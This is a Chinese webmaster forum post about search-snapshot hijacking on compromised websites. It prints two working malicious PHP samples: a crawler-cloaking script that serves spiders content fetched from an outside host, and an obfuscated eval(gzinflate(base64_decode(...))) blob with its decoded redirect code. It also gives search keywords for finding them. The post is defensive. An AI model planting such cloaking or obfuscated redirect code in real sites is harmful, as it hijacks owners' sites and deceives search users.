最近客户网站虽然百度收录了三四万 但发现好多快照标题不是自己网站的标题,麻烦啊 经过仔细查找 重要找到了解决办法。
所谓的黑客利用漏洞 或者文件上传可以修改程序文件或者上传程序文件,这个文件是干啥的呢?就是用来区分是蜘蛛还是平常访问,如果是蜘蛛爬行的话 他就引导蜘蛛抓他网站的页面,导致快照标题是黑客搞的 点进去却是自己网站的标题。
类似这样的篡改网页标题的方法 现在发现有俩种
1、这些人会上传一个文件 文件是:
- <?php
- @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);
- ini_set('display_errors',0);
- $spider_arr = array(
- 'baiduspider',
- 'baiduspider/2.0',
- 'baiducustomer',
- 'baidu-thumbnail',
- 'baiduspider-mobile-gate',
- 'baiduspider-mobile-gate',
- 'baidu-transcoder/1.0.6.0',
- 'googlebot/2.1',
- 'googlebot-image/1.0',
- 'feedfetcher-google',
- 'mediapartners-google',
- 'adsbot-google',
- 'googlebot-mobile/2.1',
- 'googlefriendconnect/1.0',
- 'sosospider',
- 'sosoblogspider',
- 'sosoimagespider',
- 'sogou web robot',
- 'sogou web spider/3.0',
- 'sogou web spider/4.0',
- 'sogou head spider/3.0',
- 'sogou-test-spider/4.0',
- 'sogou orion spider/4.0',
- );
- $not_spider_ip_arr = array(
- "222.77.187.33",
- "125.90.88.96"
- );
- $ref_arr = array(
- 'baidu.com',
- 'google.com'
- );
- $agent = $_SERVER['HTTP_USER_AGENT'];
- $rip = $_SERVER["REMOTE_ADDR"];
- $referer = $_SERVER["HTTP_REFERER"];
- $spider = false;
- foreach($spider_arr as $_spider) {
- if(stripos($agent,$_spider) !== false) {
- $spider = true;
- break;
- }
- }
- if(in_array($rip,$not_spider_ip_arr)) {
- $spider = false;
- }
- $ref = false;
- foreach($ref_arr as $_ref) {
- if(stripos($referer,$_ref) !== false) {
- $ref = true;
- break;
- }
- }
- if(array_key_exists('bd',$_GET)&&$ref) {
- $xt = trim($_GET['bd']);
- Header("Location: ".'http://www.baidu.com?'.$_SERVER['SERVER_NAME']);
- exit;
- }
- if($spider) {
- echo file_get_contents('http://www.xxx.cn/web/bbs/xin.asp');
- }
- ?>
复制代码 所以有遇到这样情况的站站 请根据这个程序的关键字进行批量查找网站,比如 批量查找 echo file_get_contents( 这样的关键词语。如果您懂程序 就会发现 此程序的原理就是我刚说的 。
2、这些人 会 在网站上挂上
- eval(gzinflate(base64_decode('hVZ7b9owEP8fie/gWlGbrBASWFlbRqtuZRpTH4hV2ySGIje4xWpeckxY1fHdd3YeBGg6FMnx3e/ufvewSb1Wr1HOQ+5wGoVcsOBRt4xeveZ6JI4R8bxw6bAIvdRrqF5LCEdaIesjwjl51rHd7ph2+8j8YJt2s31k4QZuWx2zbR2bXcu0u1Ym7HbN9vsTs3sMKpC1FbANiGMwBLBtK6EMD8EeFoErWBggx3HDIBZ84QrdACKrbfWM7mgjzhIiKCpQPnmiI04fhyNdA7RRr8mUEHtAOmzhUeIGbmLDUNnCTyPDEWRJ/0ReOKM6NnFD2fZS9UPIKXHnSFc4EiPtqX+mJYV56n0vd59sOlcBImDkeMxnApl9pIk5i5tnZapJHmwLClx6uZ8Vol5My24Ji24Wfpl6E6gnJeK6xvoZbGJNexr7WGxtuT08NAqHKjQEVes5/otNjZ3iiVx666CrqrQgeR6FsV6SNmQpbaPfl7X3aFDWGU3bOFd7E0/xKSDNYrdOOX1RS5p+0bNSbKgo+FdG6VQgxKlY8KCM6lWOzCMVF573yQvdJ2hFXg/Z06xR+UnY7CmDuHapMOsx2bR6dWJyHxGZzTiN0RtDsWMCYEjXYXCSPeKm84p/y6HN3Rm9KqPC5h3YTKzmyfTFbnRWyvYVq4IdbskxiExYd1FQ4FhMpjKJ3GQHdHi4O0PZkvcqc7Ru1OLeY+66T+6cph2SZQS0IPceXVduq43gRhvG30IW0BmAHggMj5JFGyaO6zEaCOhTZiLVgjNfh1cpUXOQBVORsz4XQtXfhHiLVC3xaup8IgCFX1KdLDE4TEdgTsmMch1/vbsbteBORB3LRtdhAkxHlPskAEbes7ogc+hV6BJZhVM0FyI6bbWWy6VJ3XgeRoL60FRBTTf0lY0qYPrUa1l14eKkbx6BciGyNEBKgySl6Xy+Gg5u7pzhCBtof18Ok0ti6vpRJayB8CJ4CsJlANeh6hiUtgoM3NTx3on7y/lyO/55Mb4cXMq3t6PvgP/PYcfkNSbjwfXt3cC5uLysJrCBeTPuBrIcjsUxFbrmfB+MfwzGk4MS8GCq4lbotihVoF4lVYHNaOWowrCXT5Se3RirfKi0UJ299IshoMvio0JPj5GO9taQ5tn6NBvw96Xu538=')));
复制代码 这样的东东,其实懂程序的人也知道 他只是障眼法,这个是通过encoded_data 这个函数把php程序进行压缩,我们发现通过 base64_decode解码出来后 是:
- <?php
-
-
- error_reporting(0);
- class allow_ip {
-
- var $allow_ip = array("123.125.71.1-250","203.208.60.160-250","66.249.68.200-220","220.181.108.11-220");
-
- function __construct(){
- }
-
- function __destruct(){
- }
-
- private function makePregIP($str)
- {
- if (strstr($str,"-")) {
- $aIP = explode(".",$str);
- foreach ($aIP as $k=>$v) {
- if (!strstr($v,"-")) {
- $preg_limit .= $this->makePregIP($v);
- $preg_limit .= ".";
- } else{
- $aipNum = explode("-",$v);
- for($i=$aipNum[0];$i<=$aipNum[1];$i++){
- $preg .=$preg?"|".$i:"[".$i;
- }
- $preg_limit .=strrpos($preg_limit,".",1)==(strlen($preg_limit)-1)?$preg."]":".".$preg."]";
- }
- }
- } else {
- $preg_limit = $str;
- }
-
- return $preg_limit;
- }
-
- private function getAllBlockIP(){
- if ($this->allow_ip) {
- $i = 1;
- foreach ($this->allow_ip as $k=>$v) {
- $ipaddres = $this->makePregIP($v);
-
- $ip = str_ireplace(".","\.",$ipaddres);
- $ip = str_replace("*","[0-9]{1,3}",$ip);
- $ipaddres = "/".$ip."/";
- $ip_list[] = $ipaddres;
- $i++;
- }
- }
- return $ip_list;
- }
-
- public function checkIP() {
- $iptable = $this->getAllBlockIP();
- $IsJoined = false;
- $Ip = $this->get_client_ip();
- $Ip = trim($Ip);
- if ($iptable) {
- foreach($iptable as $value) {
- if (preg_match("{$value}",$Ip)) {
- header("HTTP/1.1 301 Moved Permanently");
- header("Location: http://www.xxxx.com");
-
- }
- }
- }
-
- return true;
- }
-
- private function get_client_ip(){
- if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
- $ip = getenv("HTTP_CLIENT_IP");
- else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
- $ip = getenv("HTTP_X_FORWARDED_FOR");
- else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
- $ip = getenv("REMOTE_ADDR");
- else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
- $ip = $_SERVER['REMOTE_ADDR'];
- else
- $ip = "unknown";
- return($ip);
- }
- }
-
- $oBlock_ip = new allow_ip();
- if( !$oBlock_ip->checkIP() ) exit;
- ?>
复制代码
那么第二种方式 站长可以用 eval(gzinflate(base64_decode 关键字进行批量查找程序 看是否有。
以上就是目前发现的2种挂马 篡改快照的方法。
|